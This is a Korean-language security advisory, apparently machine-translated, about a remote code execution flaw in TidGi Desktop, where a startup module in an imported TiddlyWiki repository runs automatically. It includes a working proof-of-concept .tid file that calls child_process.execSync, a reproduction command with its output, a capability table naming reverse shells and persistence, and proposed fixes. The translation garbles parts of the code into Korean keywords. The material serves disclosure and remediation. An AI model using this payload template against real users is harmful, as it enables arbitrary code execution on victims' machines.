악성 TiddlyWiki 저장소 가져오기를 통한 TidGi 데스크탑 원격 코드 실행 — Tiddler 시작 모듈 자동 실행
0.13.0까지의 TidGi Desktop에는 단일 Git 저장소 가져오기를 통해 악용될 수 있는 심각한 원격 코드 실행 취약점이 포함되어 있습니다. 이 취약점은 위키의 tiddlers/ 디렉토리에 있는 .tid 파일에 포함된 JavaScript 코드를 자동으로 검색하고 실행하는 TiddlyWiki의 모듈 시스템을 활용합니다.
.tid 파일 자동 로드(src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92) — TidGi가 Wiki 작업 공간을 부팅할 때 loadWikiTiddlers는 파일 시스템에서 모든 .tid 파일을 읽고 이를 wiki.addTiddlers()를 통해 Wiki 스토어에 추가합니다.
자동 모듈 등록 (node_modules/tiddlywiki/boot/boot.js:2564-2565) — defineTiddlerModules()는 저장소의 모든 티들러를 반복합니다. module-type 필드가 있는 모든 티들러는 $tw.modules.define()에 전달되어 실행 가능한 모듈로 등록됩니다.
자동 시작 실행 (node_modules/tiddlywiki/boot/boot.js:2572-2634) — "startup" 유형의 모든 등록된 모듈이 수집되고 해당 exports.startup() 함수가 부팅 시퀀스 중에 호출됩니다. 플랫폼 제한이 설정되지 않은 경우 doesTaskMatchPlatform()은 true를 반환하고 시작 함수는 Wiki Worker 프로세스에서 전체 Node.js require() 액세스를 사용하여 실행됩니다.
전체 체인은 TiddlyWiki 5.4.0 및 Node.js v26을 사용하여 macOS에서 확인되었습니다. require('child_process').execSync()는 임의의 쉘 명령을 성공적으로 실행했습니다.
src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts(티들러 로딩), src/services/wiki/wikiWorker/startNodeJSWiki.ts(wiki 부팅), node_modules/tiddlywiki/boot/boot.js(TiddlyWiki 코어 — defineTiddlerModules, 시작 디스패치).tid 파일이 자동 로드됨파일: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92
const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);
for (tiddlerFiles의 const tiddlerFile) {
// 파일 시스템 어댑터에 대한 파일 정보 등록
// ...
// 위키에 티들러 추가
wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers); // ← 92번째 줄
}
파일: src/services/wiki/wikiWorker/startNodeJSWiki.ts:256
wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });
이는 내부적으로 loadStartup() → loadTiddlersNode() → $tw.loadWikiTiddlers($tw.boot.wikiPath)(boot.js:2381)를 호출하는 $tw.boot.startup()을 트리거합니다. TidGi는 하위 위키 티들러를 가로채서 삽입하기 위해 startNodeJSWiki.ts:123의 loadWikiTiddlers를 재정의하지만 원래 함수는 여전히 기본 위키의 tiddlers/ 디렉토리에서 모든 .tid 파일을 로드합니다.
module-type 필드를 통한 자동 모듈 등록파일: node_modules/tiddlywiki/boot/boot.js:1514-1534 — defineTiddlerModules()
``자바스크립트 $tw.Wiki.prototype.defineTiddlerModules = 함수() { this.each(함수(티들러,제목) { if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) { 스위치(tiddler.fields.type) { 사례 "응용 프로그램/자바스크립트": $tw.modules.define( tiddler.fields.title, // "$:/plugins/poc/startup.js" tiddler.fields["module-type"], // "시작" tiddler.fields.text // 공격자의 JS 코드 ); 휴식; } } }); };
이 함수는 `execStartup()`(boot.js:2565) 중에 호출되며 **후** `loadStartup()`이 이미 모든 `.tid` 파일을 위키 스토어에 로드했습니다. `module-type: start` 및 `type: application/javascript`가 있는 모든 티들러는 자동으로 실행 가능한 모듈로 등록됩니다.
### 근본 원인 3 — 전체 Node.js 액세스를 통한 자동 시작 실행
**파일: `node_modules/tiddlywiki/boot/boot.js:2572-2576`** — 시작 모듈 수집
``자바스크립트
$tw.boot.remainingStartupModules = [];
$tw.modules.forEachModuleOfType("시작", 함수(제목, 모듈) {
if(모듈.시작) {
$tw.boot.remainingStartupModules.push(모듈); // ← 공격자의 모듈 수집
}
});
파일: node_modules/tiddlywiki/boot/boot.js:2631-2634 — 시작 실행 중
``자바스크립트 if(!$tw.utils.hop(task,"동기") || task.synchronous) { const thenable = task.startup(); // ← imports.startup() 호출됨
**파일: `node_modules/tiddlywiki/boot/boot.js:2658-2677`** — 플랫폼 확인(명시적인 `플랫폼` 없이 통과)
``자바스크립트
$tw.boot.doesTaskMatchPlatform = 함수(taskModule) {
var 플랫폼 = taskModule.platforms;
if(플랫폼) {
// ... 각 플랫폼을 확인하세요 ...
거짓을 반환; // ← 플랫폼이 명시적으로 설정된 경우에만 거부됩니다.
}
사실을 반환; // ← 플랫폼 필드 없음 → 무조건 통과
};
$tw.boot.startup() // boot.js:2589
├── initStartup() // boot.js:2393
├── loadStartup() // boot.js:2538
│ └── loadTiddlersNode() // boot.js:2356
│ └── $tw.loadWikiTiddlers(wikiPath) // boot.js:2381
│ └── wiki.addTiddlers(...) // .tid 파일을 스토어에 로드합니다.
└── execStartup() // boot.js:2553
├── 정의ShadowModules() // boot.js:2564
├── DefineTiddlerModules() // boot.js:2565 ← 공격자 모듈 등록
├── forEachModuleOfType("startup", ...) // boot.js:2572 ← 시작 모듈 수집
└── ExecuteNextStartupTask() // boot.js:2611
└── task.startup() // boot.js:2634 ← imports.startup() 실행
┌──────────────────────────────────────────────────────────┐
│ 1단계: 공격자가 악성 TiddlyWiki 저장소 생성 │
├──────────────────────────────────────────────────────────┤
│ tiddlers/$__plugins__poc__startup.js.tid: │
│ │
│ 제목: $:/plugins/poc/startup.js │
│ 유형: 애플리케이션/자바스크립트 │
│ 모듈 유형: 시작 │
│ │
│ 수출.시작 = function() { │
│ require('child_process').execSync('calc'); │
│ }; │
│ │
│ + tiddlywiki.info + 기타 위키 파일 │
└───────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────┐
│ 2단계: 피해자가 저장소를 TidGi Desktop으로 가져옵니다 │
├──────────────────────────────────────────────────────────┤
│ 작업공간 추가 → Git 저장소 복제 / 로컬 폴더 열기 │
│ → TidGi가 위키를 부팅합니다 │
└───────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────┐
│ 3단계: RCE — Node.js Worker에서 시작 모듈이 자동 실행됩니다. │
├──────────────────────────────────────────────────────────┤
│ loadWikiTiddlers는 .tid 파일을 로드합니다 → wiki.addTiddlers() │
│ boot.startup() → execStartup() │
│ 정의TiddlerModules() → $tw.modules.define("startup", ...) │
│executeNextStartupTask() →exports.startup() │
│ → require('child_process').execSync('...') 실행 │
└───────────────────────────────────────────────────────────┘
.tid 파일(tiddlers/ 디렉토리에 위치)제목: $:/plugins/poc/startup.js
유형: 애플리케이션/자바스크립트
모듈 유형: 시작
수출.시작 = 함수() {
require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
console.log('STARTUP_EXECUTED');
};
$ 노드 -e "
const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
\$tw.boot.argv = ['/tmp/evil-wiki'];
\$tw.boot.startup();
"
STARTUP_EXECUTED
$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r-- 1 nuii 휠 0 6월 3일 00:01 /tmp/TidGi-RCE-PoC.txt
공격자의 exports.startup() 함수 내에서 출력된 STARTUP_EXECUTED 메시지와 execSync('touch ...')에 의해 생성된 /tmp/TidGi-RCE-PoC.txt 파일로 임의의 명령 실행을 확인했습니다.
| 능력 | 상태 | 세부정보 |
|---|---|---|
| 원격 코드 실행 | ✅ Node.js 전체 액세스 | require('child_process') 사용 가능 |
| 임의 파일 읽기 | ✅ | require('fs').readFileSync() |
| 임의 파일 쓰기 | ✅ | require('fs').writeFileSync() |
| 리버스 쉘 | ✅ | Node.js net 모듈 |
| 지속성 | ✅ | 시작 스크립트, LaunchAgents, crontab에 쓰기 |
| 사용자 상호작용 | 1번 클릭 | 저장소 가져오기 |
| 크로스 플랫폼 | ✅ | 윈도우, macOS, 리눅스 |
.tid 파일 콘텐츠제목: $:/plugins/poc/startup.js
유형: 애플리케이션/자바스크립트
모듈 유형: 시작
수출.시작 = 함수() {
require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
console.log('STARTUP_EXECUTED');
};
/tmp/evil-wiki에 있는 악성 위키로 TiddlyWiki 부팅$ 노드 -e "
const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
\$tw.boot.argv = ['/tmp/evil-wiki'];
\$tw.boot.startup();
"
STARTUP_EXECUTED
/tmp/TidGi-RCE-PoC.txt 생성됨$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r-- 1 nuii 휠 0 6월 3일 00:01 /tmp/TidGi-RCE-PoC.txt
TiddlyWiki는 시스템 티들러(TidGi와 함께 제공되거나 공식 플러그인으로 설치됨)와 사용자가 생성한 티들러를 구별해야 합니다. 사용자가 만든 티들러는 '모듈 유형'을 정의하도록 허용되어서는 안 됩니다.
// defineTiddlerModules() 또는 이에 상응하는 항목에서
if (tiddler.hasField("module-type") && !tiddler.fields.title.startsWith("$:/")) {
// 사용자 티들러 — 모듈 유형 필드를 자동으로 삭제합니다.
반환;
}
사용자가 만든 모듈을 지원해야 하는 경우 Node.js 내장 기능에 액세스하지 않고 제한된 컨텍스트에서 실행하세요.
// 직접 요구 액세스를 제한된 API 표면으로 대체합니다.
const vm = require('vm');
const 샌드박스 = { 콘솔, $tw, 버퍼 };
vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });
사용자 티들러에 대해서는 알려진 안전한 '모듈 유형' 값만 허용합니다.
const ALLOWED_USER_MODULE_TYPES = ['위젯', '매크로', '필터', '파서'];
if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) {
반환; // 시작, 라이브러리, 저장기 등을 차단합니다.
}
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 96.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 96.00 |
VPI 공식 vpi-v1 기준